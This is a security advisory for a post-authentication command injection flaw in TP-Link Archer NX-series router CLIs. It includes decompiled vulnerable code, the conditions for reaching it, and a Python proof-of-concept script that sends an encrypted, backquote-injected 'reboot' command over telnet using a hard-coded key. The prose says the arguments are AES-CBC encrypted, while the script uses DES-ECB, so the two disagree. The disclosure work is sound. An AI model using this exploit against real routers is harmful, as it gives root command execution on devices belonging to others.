Skip to main content
HIGH8.5 CVE-2025-15518

Multiple TP-Link Routers: Post Authentication Command Injection in CLI controlBF Handler

Improper input handling in a wireless-control administrative CLI command on TP-Link Archer NX200, NX210, NX500 and NX600 allows crafted input to be executed as part of an operating system command. An authenticated attacker with administrative privileges may execute arbitrary commands on the operating system, impacting the confidentiality, integrity, and availability of the device.

The CLI command sys iwpriv controlBF <interface> <value> is served by the function at 0x417350 in /bin/cli. The handler formats its two arguments into a sequence of wlctl shell commands with snprintf and runs each through system, without validating or escaping the arguments. Shell metacharacters in either argument are interpreted by /bin/sh, so the command runs arbitrary OS commands.

Technical Details

Sink

The handler at 0x417350 receives the argument vector (argument 1 is the interface, argument 2 is the value). With two arguments present it builds six commands and runs each with system:

c
// argv[1] at +8, argv[2] at +16
if ( argc == 3 ) {
    snprintf(buf, 0x40, "wlctl -i %s down", argv[1]);                     system(buf);
    snprintf(buf, 0x40, "wlctl -i %s txbf_imp %s",     argv[1], argv[2]); system(buf);
    snprintf(buf, 0x40, "wlctl -i %s txbf_bfr_cap %s", argv[1], argv[2]); system(buf);
    snprintf(buf, 0x40, "wlctl -i %s txbf_bfe_cap %s", argv[1], argv[2]); system(buf);
    snprintf(buf, 0x40, "wlctl -i %s txbf %s",         argv[1], argv[2]); system(buf);
    snprintf(buf, 0x40, "wlctl -i %s up", argv[1]);                       system(buf);
}

Both argv[1] and argv[2] reach the shell unmodified. A value such as ;reboot; or a backquoted command is executed by /bin/sh. The injection does not depend on the 0x40-byte buffer size.

Reachability

The handler is selected by the CLI’s command dispatcher at 0x403704, which walks a table of 32-byte entries { char *name; int flags; void *handler; ... }, matches each argument token against name, and calls handler with the remaining arguments. The iwpriv sub-table at 0x437930 maps the token controlBF to 0x417350. Reaching the handler requires:

  • An authenticated session (the login routine at 0x4058F0);
  • Device uptime within ten minutes: the privileged command set is dispatched by the gate at 0x40AB74, which reads the device uptime via 0x404AB0 (an rdp_getObj query for DEV2_DEV_INFO / UpTime) and proceeds only when the value is at most 0x258 (600 seconds);
  • The arguments to sys supplied in AES-CBC encrypted form (the binary drives this through the routine named by the string aes_cbc_decrypt_intface_bypart);
  • Exactly two arguments to iwpriv controlBF.

Proof of Concept

python
import base64
from Crypto.Cipher import DES
from Crypto.Util.Padding import pad, unpad
from pwn import *

def des_ecb_encrypt(key, plaintext):
    cipher = DES.new(key, DES.MODE_ECB)
    plaintext += ((8 - (len(plaintext) % 8)) * b"\x00")
    ciphertext = cipher.encrypt(plaintext)
    return ciphertext

key = bytes.fromhex("478de3f90ba5d2cf")

def get_arg(k, d):
    out = des_ecb_encrypt(k, d)
    return f"sys {base64.b64encode(out).decode()}".encode()

def exploit(rhost, pwd):
    io = remote(rhost, 23)
    io.sendlineafter(b":", pwd)
    
    cmd = f"iwpriv controlBF `reboot` x".encode()
    
    print(cmd)
    print(io.recvuntil(b"#").decode())
    io.sendline(get_arg(key, cmd))
    io.interactive()

admin_pwd = b""
exploit("192.168.1.1", admin_pwd)

Impact

A user with admin privileges who can issue commands on the authenticated CLI can execute arbitrary commands with the privileges of the CLI process, which runs as root.

Disclosure timeline

Oct 5, 2025
Discovered
Nov 13, 2025
Vendor notified

Submitted report to security@tp-link.com

Nov 20, 2025
Report acknowlegement
Dec 3, 2025
Vulnerability triaged
Jan 13, 2026
CVE reserved

Reserved CVE-2025-15518

Mar 23, 2026
Public disclosure

CVEs and advisory published

References

Share